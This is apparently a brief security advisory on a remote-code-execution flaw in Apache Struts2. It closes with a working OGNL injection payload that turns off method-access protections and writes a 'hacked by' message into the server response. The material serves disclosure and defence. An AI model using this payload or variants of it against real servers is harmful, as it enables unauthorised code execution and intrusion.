source: https://www.securityfocus.com/bid/55165/info

Apache Struts2 is prone to a remote-code-execution vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary code in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}